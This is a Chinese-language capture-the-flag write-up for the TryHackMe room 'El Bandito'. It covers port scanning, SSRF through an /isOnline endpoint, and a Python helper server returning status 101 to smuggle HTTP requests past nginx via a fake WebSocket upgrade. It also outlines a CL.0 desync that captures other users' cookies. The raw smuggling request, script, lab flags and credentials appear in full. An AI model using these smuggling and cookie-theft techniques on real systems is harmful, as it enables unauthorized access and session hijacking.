THM El Bandito
信息收集
fscan扫一下先
┌──(kali㉿kali)-[~/fscan]└─$ ./fscan -h 10.10.11.24 ┌──────────────────────────────────────────────┐│ ___ _ ││ / _ \ ___ ___ _ __ __ _ ___| | __ ││ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / ││ / /_\\_____\__ \ (__| | | (_| | (__| < ││ \____/ |___/\___|_| \__,_|\___|_|\_\ │└──────────────────────────────────────────────┘Fscan Version: 2.0.0[2025-08-26 22:12:50] [INFO] 暴力破解线程数: 1 [2025-08-26 22:12:50] [INFO] 开始信息扫描[2025-08-26 22:12:50] [INFO] 最终有效主机数量: 1[2025-08-26 22:12:50] [INFO] 开始主机扫描[2025-08-26 22:12:50] [INFO] 有效端口数量: 233[2025-08-26 22:12:50] [SUCCESS] 端口开放 10.10.11.24:22[2025-08-26 22:12:50] [SUCCESS] 端口开放 10.10.11.24:80[2025-08-26 22:12:50] [SUCCESS] 端口开放 10.10.11.24:8080[2025-08-26 22:12:50] [SUCCESS] 服务识别 10.10.11.24:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.11 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11.][2025-08-26 22:12:56] [SUCCESS] 服务识别 10.10.11.24:80 => [2025-08-26 22:12:56] [SUCCESS] 服务识别 10.10.11.24:8080 => [http] 产品:nginx[2025-08-26 22:12:56] [INFO] 存活端口数量: 3[2025-08-26 22:12:56] [INFO] 开始漏洞扫描[2025-08-26 22:12:56] [INFO] 加载的插件: ssh, webpoc, webtitle[2025-08-26 22:12:58] [SUCCESS] 网站标题 http://10.10.11.24:8080 状态码:200 长度:557 标题:Bandit-Coin[2025-08-26 22:13:17] [SUCCESS] 检测到漏洞 http://10.10.11.24:8080/swagger-ui.html poc-yaml-swagger-ui-unauth 参数:[{path swagger-ui.html}][2025-08-26 22:13:49] [SUCCESS] 扫描已完成: 5/5
存在swagger-ui,扫描目录会找到一些有用的目录如heapdump之类,但是此处无用,有用的是/mappings
第一个flag
在这里我们发现了两个有用的
"{[/admin-flag],methods=[GET]}": {"bean": "requestMappingHandlerMapping","method": "public org.springframework.http.ResponseEntity\u003Cjava.lang.String\u003E net.thm.websocket.config.AdminController.adminFlag()"},"{[/admin-creds],methods=[GET]}": {"bean": "requestMappingHandlerMapping","method": "public org.springframework.http.ResponseEntity\u003Cjava.lang.String\u003E net.thm.websocket.config.AdminController.adminCreds()"},
flag和对应凭证,但是不能通过请求获取,同时还有一个isOnline接口
SSRF
通过测试发现存在SSRF
http://10.10.204.212:8080/isOnline?url=http://10.11.133.25
请求走私
我们尝试让其访问admin-flag,然后将结果回显到响应,具体实现我们需要将标头添加到我们的请求中,以使代理认为我们正在执行 Websocket 升级。虽然这足以欺骗其他一些代理,但在客户端和后端服务器之间建立隧道之前,还可以验证响应的状态代码。所以,当我们发送带有 websocket upgrade 标头的请求时,对这个请求的响应必须有一个有效的状态码(101 Switching Protocols),为了让服务器返回有效的状态码,我们将使用该漏洞。之后,将建立隧道并在我们请求后使用此隧道发送任何内容,而无需检查,认为它是 websocket 通信的一部分。由于我们没有执行有效的 websocket 升级,后端服务器会将我们请求的其余部分解释为另一个 HTTP 请求
Upgrade: WebSocket
此处使用jaxafed的脚本
import sysfrom http.server import HTTPServer, BaseHTTPRequestHandlerif len(sys.argv) != 2:print(f"Usage: {sys.argv[0]} <port>")exit()class Redirect(BaseHTTPRequestHandler):def do_GET(self):self.protocol_version = "HTTP/1.1"self.send_response(101)self.end_headers()HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
GET /isOnline?url=http://10.11.133.25 HTTP/1.1Host: 10.10.204.212:8080Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Sec-WebSocket-Version: 13Connection: UpgradeUpgrade: WebSocketGET /envHost: 10.10.204.212:8080
成功走私,后面就是拿到flag和凭证
HTTP/1.1 101Server: nginxDate: Tue, 26 Aug 2025 15:01:06 GMTConnection: upgradeX-Application-Context: application:8081Content-Length: 43THM{:::MY_DECLINATION:+62°_14\'_31.4'':::}
HTTP/1.1 101Server: nginxDate: Tue, 26 Aug 2025 15:01:41 GMTConnection: upgradeX-Application-Context: application:8081Content-Length: 55username:hAckLIEN password:YouCanCatchUsInYourDreams404
然后 就会发现一个尴尬的问题😅,80端口访问不到,我重启了好几次依旧无法访问,而这恰好也是第二个flag所必须的,所以此处往后就跟着jaxafed的wp说一下思路了
第二个flag
登录后,我们可以看到聊天内容,并且可以发送和接收消息。
另外,从标题中我们注意到服务器使用前端反向代理进行缓存。
尝试使用不同的有效载荷进行请求走私,我们成功使用了。 Content-Length: 0
从下面的响应中我们可以看出,我们能够导致不同步,并且我们的下一个请求被附加到我们之前走私的请求中,并且它被解释如下:
GET /doesnotexist HTTP/1.1 Foo: GET / HTTP/1.1 Host: 10.10.189.186:80 ...
因此,我们正在向端点发出请求。404 404 Not Found
/
由于应用程序允许我们通过消息存储和检索文本数据,我们可以使用它来捕获其他用户的请求。
为此,我们将使用过长的标头和 cookie 将不完整的请求走私到端点,因为发送消息需要授权。/send_message /send_message
Content-Length
有了这个请求,在我们之后 data
任何其他请求都将附加到我们的走私请求中,并将被解释为对端点的请求中的参数。data /send_message
发送请求并稍后接收消息后,我们看到另一个用户的请求确实附加到我们的有效负载中并存储为消息。
我们从用户请求的 cookie 中获取标志。
参考链接
TryHackMe:El Bandito | jaxafed --- TryHackMe: El Bandito | jaxafed